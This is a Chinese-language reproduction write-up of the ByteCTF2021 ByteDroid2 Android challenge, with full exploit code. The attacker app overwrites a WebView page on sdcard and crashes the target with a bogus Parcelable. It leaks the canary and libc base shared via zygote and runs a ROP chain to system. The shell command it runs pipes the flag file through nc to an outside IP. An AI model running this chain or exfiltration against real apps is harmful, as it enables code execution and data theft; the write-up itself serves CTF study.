ByteCTF2021 ByteDroid2复现
参考:ByteCTF2021 writeup for Android challenges - 飞书云文档
APK分析
AndroidManifest.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.bytedroid2" platformBuildVersionCode="30" platformBuildVersionName="11"> <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/> <uses-permission android:name="android.permission.INTERNET"/> <application android:theme="@style/Theme.ByteDroid2" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:name="com.bytectf.bytedroid2.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <receiver android:name="com.bytectf.bytedroid2.FlagReceiver" android:exported="false"> <intent-filter> <action android:name="com.bytectf.bytedroid2.SET_FLAG"/> </intent-filter> </receiver> </application> </manifest>
|
FlagRecevier
还是收flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.bytectf.bytedroid2;
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; import java.io.File; import java.io.FileWriter; import java.io.IOException;
public class FlagReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if (flag != null) { File file = new File(context.getFilesDir(), "flag"); writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } }
private void writeFile(File file, String s) { FileWriter writer = null; try { try { try { writer = new FileWriter(file, true); writer.write(s); writer.write(10); writer.close(); } catch (IOException e) { e.printStackTrace(); if (writer != null) { writer.close(); } } } catch (IOException e2) { e2.printStackTrace(); } } catch (Throwable th) { if (writer != null) { try { writer.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } }
|
MainActivity
MainActivity.java,通过filet协议打开/sdcard/Documents/Bytedroid2/index.html,并注册了js接口Bridgeutils,有一个func函数,接收hex编码的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package com.bytectf.bytedroid2;
import android.content.Context; import android.os.Bundle; import android.webkit.JavascriptInterface; import android.webkit.WebView; import androidx.appcompat.app.AppCompatActivity; import java.io.File; import java.io.FileOutputStream; import java.util.Locale; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream;
public class MainActivity extends AppCompatActivity { public static native void func(byte[] bArr);
@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getIntent().getStringExtra("url"); System.loadLibrary("Utils"); File file = new File("/sdcard/Documents/Bytedroid2", "/index.html"); if (!file.exists()) { try { UnZipAssetsFolder(getApplicationContext(), "game.zip", "/sdcard/Documents/Bytedroid2"); } catch (Exception e) { e.printStackTrace(); } } WebView webView = new WebView(getApplicationContext()); webView.getSettings().setJavaScriptEnabled(true); webView.getSettings().setAllowFileAccess(true); webView.addJavascriptInterface(this, "BridgeUtils"); setContentView(webView); webView.loadUrl("file:" + file.getPath() + "?lang=" + Locale.getDefault().getLanguage()); }
@JavascriptInterface public void func(String s) { func(unhex(s)); }
private static byte[] unhex(String str) { byte[] bArr = new byte[str.length() / 2]; int i = 0; while (i < str.length()) { int i2 = i + 2; bArr[i / 2] = (byte) Integer.parseInt(str.substring(i, i2), 16); i = i2; } return bArr; }
public static void UnZipAssetsFolder(Context context, String zipFileString, String outPathString) throws Exception { ZipInputStream inPutZip = new ZipInputStream(context.getAssets().open(zipFileString)); while (true) { ZipEntry zipEntry = inPutZip.getNextEntry(); if (zipEntry != null) { String szName = zipEntry.getName(); if (zipEntry.isDirectory()) { String szName2 = szName.substring(0, szName.length() - 1); File folder = new File(outPathString + File.separator + szName2); if (!folder.exists()) { folder.mkdirs(); } else { return; } } else { File file = new File(outPathString + File.separator + szName); if (!file.exists()) { file.getParentFile().mkdirs(); file.createNewFile(); } FileOutputStream out = new FileOutputStream(file); byte[] buffer = new byte[1024]; while (true) { int len = inPutZip.read(buffer); if (len == -1) { break; } out.write(buffer, 0, len); out.flush(); } out.close(); } } else { inPutZip.close(); return; } } } }
|
其中
1 2 3
| webView.getSettings().setJavaScriptEnabled(true); webView.getSettings().setAllowFileAccess(true); webView.addJavascriptInterface(this, "BridgeUtils");
|
| 配置 |
风险 |
| JavaScriptEnabled |
JS 可执行 |
| AllowFileAccess |
file:// 可读 |
| addJavascriptInterface(this, …) |
直接暴露 Activity |
js可以直接调用func的native函数
加载本地 HTML
1
| webView.loadUrl("file:" + file.getPath() + "?lang=" + Locale.getDefault().getLanguage());
|
最终加载的是:
1
| file:///sdcard/Documents/Bytedroid2/index.html?lang=zh
|
index.html 完全可控
1 2 3 4 5
| private static byte[] unhex(String str) { byte[] bArr = new byte[str.length() / 2]; ... Integer.parseInt(str.substring(i, i2), 16); }
|
可以精确控制传入 native 的字节流
func
IDA打开so可以看见如下的代码:
这里可以直接发现栈溢出了,把a3直接拷贝到a1没有经过长度校验
Cmake参数默认,即默认的保护全开:
Stack Canary(-fstack-protector-strong)
NX(栈不可执行)
PIE + ASLR
FORTIFY_SOURCE
RELRO(至少 Partial)

漏洞分析
Step1:篡改SDcard下的html,从而能执行任意javascript
Vulner App是运行在安卓11上targetsdk=30的apk,需要先阅读了解到安卓11中关于存储机制的更新。这个限制导致了即使在sever.py中授予了Attacker App权限WRITE_EXTERNAL_STORAGE,其也不能重写Vulner App在SDcard下创建的文件。
Android 11 中的存储空间更新 | Android Developers
在 Android 11 上运行但以 Android 10(API 级别 29)为目标平台的应用仍可请求 requestLegacyExternalStorage 属性。
- 可以在
AndroidManifest.xml 里写:
1
| android:requestLegacyExternalStorage="true"
|
- 系统会给一个兼容期
- 暂时继续用 Android 9/10 老的外部存储访问方式
当应用更新为以 Android 11 为目标平台后,系统会忽略 requestLegacyExternalStorage 标记。
什么是分区存储模型?每个 App 在外部存储中只能“看见”属于自己的那一小块区域,默认不能随意访问或修改其他 App 的文件
存储模型(Android 9 及以前)
谁拿到权限,谁就能在 /sdcard 里为所欲为。”
只要有WRITE_EXTERNAL_STORAGE
就可以:
- 读
/sdcard/Documents/*
- 写
/sdcard/Download/*
每个 App 都有自己的外部存储沙盒,系统划好了几块合法领地:
1 2
| /sdcard/Android/data/<包名>/ /sdcard/Android/obb/<包名>/
|
公共目录也被限制访问方式
比如:
1 2 3
| /sdcard/Documents /sdcard/Download /sdcard/Pictures
|
不再是有权限就能随便 open()
要么:
- 通过 系统 API(MediaStore / SAF)
- 要么用户手动授权(文件选择器)
在分区存储下:
不再等于随意写 sdcard
继续阅读文档,其提供了一种暂时停用分区存储的做法:https://developer.android.com/training/data-storage/use-cases#opt-out-scoped-storage

index.html 位于 /sdcard/Android/data/{vulner App}/cache 下难度更大
原因非常简单也非常现实:/sdcard/Android/data/other.package/在 Android 11 上对其他 App 基本不可写哪怕 targetSdk=28,也会被系统额外限制基本逼你走:root,adb shell或系统漏洞
Step2:让我们篡改的html内容生效,即重启VulnerApp
安卓上一个非常很普遍的现象,intent.getxxxExtra缺失trycatch,假设我们构造如下Intent
1 2 3 4
| Intent intent = getPackageManager().getLaunchIntentForPackage("com.bytectf.bytedroid2"); intent.putExtra("crash", new CrashParcelable()); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); startActivity(intent);
|
CrashParcelable.java,随便新建一个parcelable类,只要该类在目标App中找不到即可
1 2 3
| package com.bytectf.pwnbytedroid2; import android.content.Intent; public class CrashParcelable extends Intent {}
|
只要Vulner App在接收到Intent后,尝试intent.getxxxExtra或者intent.hasExtra,就会触发整个bundle的反序列化,当尝试对key为crash的数据进行反序列时,由于classloader找不到该类,就会抛出 android.os.BadParcelableException: ClassNotFoundException whenunmarshalling,没有catch此错误将会导致app crash。
Android 的 Intent extras 本质上是一个 Bundle,Bundle 在跨进程/跨组件传输时会走Parcel 序列化。
- 在攻击 App 里
putExtra("crash", new CrashParcelable())系统把这个对象写进 Parcel(序列化)。
- 目标 App 收到 Intent 后,一旦去读 extras(比如
getStringExtra / getExtras / hasExtra 等)系统就需要把Parcel里的数据反序列化还原成对象(unmarshall)。
关键点:反序列化时需要目标 App 的 ClassLoader 能加载到这个类。
如果类在目标 App 里不存在(你故意用攻击 App 自己的类),就会抛:BadParcelableException: ClassNotFoundException when unmarshalling …
如果目标 App 没 catch,主线程异常直接崩溃。
这个技巧基本对所有App都通用,包括一些系统应用,但能做到的也仅仅是临时性crash,通常不被考虑为漏洞。回到此题,我们需要通过上述技巧来crash掉Vulner App,再重新launch,触发我们的html代码
需要让其重新 onCreate,loadUrl
Step3:通过jsbridge触发native上的栈溢出,并绕过ASLR和Canary,完成无回显的ROP利用
先来观察一下安卓的栈结构,通过lldb进行调试,断点到memcpy:
那么要栈溢出完成ROP,需要解决两个问题:
- 如何leak canary
- 如何获取ASLR后的Nativelib地址
官方wp指出:
发现多次重启app,他的canary和ret addr总是固定的,于是有了一个大胆猜想。随后通过调试验证出一个结论,所有安卓应用的libc.so以及大部分公共so的基地址是一致的,不同应用间canary也是一致的,重启app进程也不会使他们的值发生改变,仅当重启手机才会变化。
猜想这很有可能与安卓的zygote机制有关,即应用都是由zygote这个进程孵化(fork)而来,ASLR和Canary在zygote进程启动的时候就已经确定,zygote重启(手机重启)这个值才会改变。在安卓本地利用的场景下,这个特性使得栈溢出几乎失去了ASLR和Canary的保护,因为Attacker App可以读取自身内存完成leak。
Zygote 是 Android 系统中所有 App 进程的母体进程。它在系统启动时创建,提前加载好运行环境,然后通过 fork() 快速复制自己来生成每一个应用进程。如果没有,假设每启动一个App都要,启动一个全新进程初始化ART/Dalvik虚拟机加载libc、 libart、 framework建ClassLoader、线程环境。很慢
有Zygote:Android开机时:系统先启动Zygote进程,Zygote去启动ART虚拟机,加载libc/libart/常用系统so,预加载Javaframework类,当你点开一个App:
系统对Zygote调用fork()得到一个几乎现成的子进程子进程再加载App自己的代码
子进程 = 父进程的完整内存快照(写时复制)
Zygisk 是 Magisk 引入的一种在 zygote fork 应用之前进行代码注入的机制。它允许你在所有 App 进程诞生的那一刻,把自己的 native 代码塞进去。
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| private String getLibcBase() { String libcBase = "0"; try { FileInputStream fileInputStream = new FileInputStream("/proc/self/maps"); String i = IOUtils.toString(fileInputStream); for (String line : i.split("\n")) { if (line.contains("libc.so")) { libcBase = line.split("-")[0]; break; } } } catch (IOException e) { e.printStackTrace(); } return libcBase; }
public static native int getCanary();
|

canary也是一样的
1 2 3 4 5 6 7 8
| extern "C" JNIEXPORT jint JNICALL Java_com_bytectf_pwnbytedroid2_MainActivity_getCanary(JNIEnv *env, jclass clazz) { jbyte buf[0x80]; LOGE("%p", *(size_t *)(buf + 0x80)); return *(size_t *)(buf + 0x80); }
|
显然安卓的这一机制很不合理,在本地利用场景下,栈溢出将变得大有可为。
接下来是常规的ROP,构造参数去调用libc中的system。调试发现memcpy后eax正好指向&buf,有了栈地址可以节省很大功夫,但这里不能直接用buf地址,因为在system函数的栈会与该段重合,导致内存被破坏。我们将shell命令的地址抬高,并通过gadget来运算一下eax,关键代码:
pwn这块好久没看了 ,其实这里的意思就是你已经跳转到system,但是重合会造成构造的字符串被破坏执行命令失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function poc() { libc_base = { getLibcBase() in Java } canary = { getCanary() in Java } system = 0x89d20
payload = ''.padEnd(0x80 * 2, '0') payload += p32(canary) payload += p32(system + libc_base).repeat(8)
payload += p32(libc_base + 0x000aa692) payload += p32(0xb4) payload += p32(libc_base + 0x000596f5) payload += p32(libc_base + 0x0004415b)
payload += str2hex('cat /data/data/com.bytectf.bytedroid2/files/flag | nc {ip}') payload += '00'
BridgeUtils.func(payload) }
|
APP构建
AndroidManifest.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Pwnbytedroid2"> <activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application>
</manifest>
|
Utils.cpp
Java_com_bytectf_pwnbytedroid2_MainActivity_getCanary来泄露canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <jni.h> #include <stdlib.h> #include <android/log.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <sys/prctl.h> #include <errno.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/types.h>
#define TAG "evil" #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,TAG ,__VA_ARGS__) #define LOGI(...) __android_log_print(ANDROID_LOG_INFO,TAG ,__VA_ARGS__) #define LOGW(...) __android_log_print(ANDROID_LOG_WARN,TAG ,__VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,TAG ,__VA_ARGS__) #define LOGF(...) __android_log_print(ANDROID_LOG_FATAL,TAG ,__VA_ARGS__)
extern "C" JNIEXPORT jint JNICALL Java_com_bytectf_pwnbytedroid2_MainActivity_getCanary(JNIEnv *env, jclass clazz) { jbyte buf[0x80]; LOGE("%p",*(size_t *)(buf+0x80)); return *(size_t *)(buf+0x80); }
|
意思是在 C/C++ 里写:
1
| LOGE("canary=%p", value);
|
就等价于:
1
| __android_log_print(ANDROID_LOG_ERROR, "evil", "canary=%p", value);
|
LOGD:Debug(调试)
LOGI:Info(信息)
LOGW:Warn(警告)
LOGE:Error(错误)
LOGF:Fatal(致命)
MainActivity
build.gradle里需要加implementation ‘commons-io:commons-io:2.6’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153
| package com.bytectf.pwnbytedroid2;
import android.Manifest; import android.content.Intent; import android.content.pm.PackageManager; import android.os.Build; import android.os.Bundle;
import androidx.annotation.RequiresApi; import androidx.appcompat.app.AppCompatActivity;
import org.apache.commons.io.IOUtils;
import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader;
public class MainActivity extends AppCompatActivity { String ip = "101.43.26.67";
@RequiresApi(api = Build.VERSION_CODES.M) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);
if (PackageManager.PERMISSION_GRANTED != checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE)) { System.exit(1); }
System.loadLibrary("Utils"); String canary = Integer.toHexString(getCanary()); String libcBase = getLibcBase();
String path = "/sdcard/Documents/Bytedroid2"; try { FileOutputStream fileOutputStream = new FileOutputStream(path + "/index.html"); IOUtils.write(getPayload(libcBase, canary),fileOutputStream); } catch (IOException e) { e.printStackTrace(); }
Intent intent = getPackageManager().getLaunchIntentForPackage("com.bytectf.bytedroid2"); intent.putExtra("crash", new CrashParcelable()); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); startActivity(intent); sleep(3000); intent.putExtra("crash", ""); startActivity(intent); }
public static native int getCanary();
private String getLibcBase(){ String libcBase = "0"; try { FileInputStream fileInputStream = new FileInputStream("/proc/self/maps"); String i = IOUtils.toString(fileInputStream); for (String line: i.split("\n")){ if(line.contains("libc.so")){ libcBase = line.split("-")[0]; break; } } } catch (IOException e) { e.printStackTrace(); } return libcBase; }
private String getPayload(String libcBase, String canary){ return "<button style=\"width:200px;height:200px;font-size: 30px;\" onclick=\"poc()\">poc</button>\n" + "<button style=\"width:200px;height:200px;font-size: 30px;\" onclick=\"location.href=location.href\">F5</button>\n" + "<script>\n" + " \n" + "function toLittleEdian(s) {\n" + " return s.slice(6, 8) + s.slice(4, 6) + s.slice(2, 4) + s.slice(0, 2);\n" + "}\n" + "function u32(data){\n" + " return parseInt(toLittleEdian(data), 16)\n" + "}\n" + "\n" + "function p32(data){\n" + " return toLittleEdian(data.toString(16).padStart(8,'0'))\n" + "}\n" + "\n" + "function str2hex(str){\n" + " var arr = [];\n" + " for(var i=0;i<str.length;i++){\n" + " arr.push(str.charCodeAt(i).toString(16));\n" + " }\n" + " return arr.join('');\n" + "}\n" + "\n" + "function poc(){\n" + String.format(" libc_base = 0x%s\n", libcBase) + String.format(" canary = 0x%s\n", canary) + " system = 0x89d20\n" + "\n" + " payload = ''.padEnd(0x80*2, '0')\n" + " payload += p32(canary)\n" + " payload += p32(system+libc_base).repeat(8)\n" + "\n" + "// 0x000aa692 : pop ecx ; ret\n" + "// 0x0005dbe8 : sub eax, ecx ; ret\n" + "// 0x000596f5 : add eax, ecx ; ret\n" + "// 0x0004415b : push eax ; call esi\n" + "\n" + " payload += p32(libc_base+0x000aa692)\n" + " payload += p32(0xb4)\n" + " payload += p32(libc_base+0x000596f5)\n" + " payload += p32(libc_base+0x0004415b)\n" + "\n" + String.format( " payload += str2hex('cat /data/data/com.bytectf.bytedroid2/files/flag | nc %s 37203')\n", ip) +
" payload += '00'\n" + " BridgeUtils.func(payload)\n" + "}\n" + "poc()\n" + "\n" + "</script>\n"; }
private void sleep(int ms){ try { Thread.sleep(ms); } catch (InterruptedException e) { e.printStackTrace(); } }
public static String android_command(String command) { Process process = null; BufferedReader reader = null; StringBuffer buffer = new StringBuffer(); String temp; try { process = Runtime.getRuntime().exec(new String[]{"sh", "-c", command}); reader = new BufferedReader(new InputStreamReader(process.getInputStream())); while ((temp = reader.readLine()) != null) { buffer.append(temp); } return buffer.toString(); } catch (IOException e) { e.printStackTrace(); }
return ""; } }
|
getPackageManager().getLaunchIntentForPackage:让系统返回像用户点击桌面图标一样启动该 App的 Intent
下面的HTML 把 flag 通过 nc 发到攻击者机器
调用链是:
1 2 3 4 5 6 7
| JS → BridgeUtils.func(hex) → Java func(String) → unhex() → native memcpy(buf, ...) → 栈溢出 → ROP
|
调试使用lldb,可以用android studio的或者lldb -server调试
确认架构
1
| adb shell getprop ro.product.cpu.abi
|
把 lldb-server 推到设备
lldb-server 在 NDK 里,一般路径类似:
.../Android/Sdk/ndk/<ver>/toolchains/llvm/prebuilt/<host>/lib64/clang/<ver>/lib/linux/<arch>/lldb-server(不同版本略有差异)
推到设备:
1 2
| adb push lldb-server /data/local/tmp/lldb-server adb shell chmod 755 /data/local/tmp/lldb-server
|
如果你找不到 lldb-server,最简单是直接用 Android Studio 自带的 NDK/LLDB,或用 ndk-which lldb-server(有的环境支持)。
启动目标 App,并拿 PID
1
| adb shell pidof com.bytectf.bytedroid2
|
在设备上启动 lldb-server attach 到 PID
1
| adb shell /data/local/tmp/lldb-server platform --listen "*:12345" --server
|
(有的也用 gdbserver 风格命令,但现在更推荐 platform --listen 这种。)
本机端口转发
1
| adb forward tcp:12345 tcp:12345
|
本机启动 lldb 连接
在电脑上:
进入 lldb 后:
1 2
| platform select remote-android platform connect connect://127.0.0.1:12345
|
然后 attach(两种方式):
按 PID attach:
或按进程名(有时不稳定):
1
| process attach -n com.bytectf.bytedroid2
|
下断点到 memcpy
1 2
| breakpoint set -n memcpy continue
|
当断住后常看:
想看当前栈顶附近:
1 2
| register read sp memory read --format x --size 4 --count 64 $sp
|
想看 libc 基址/模块列表: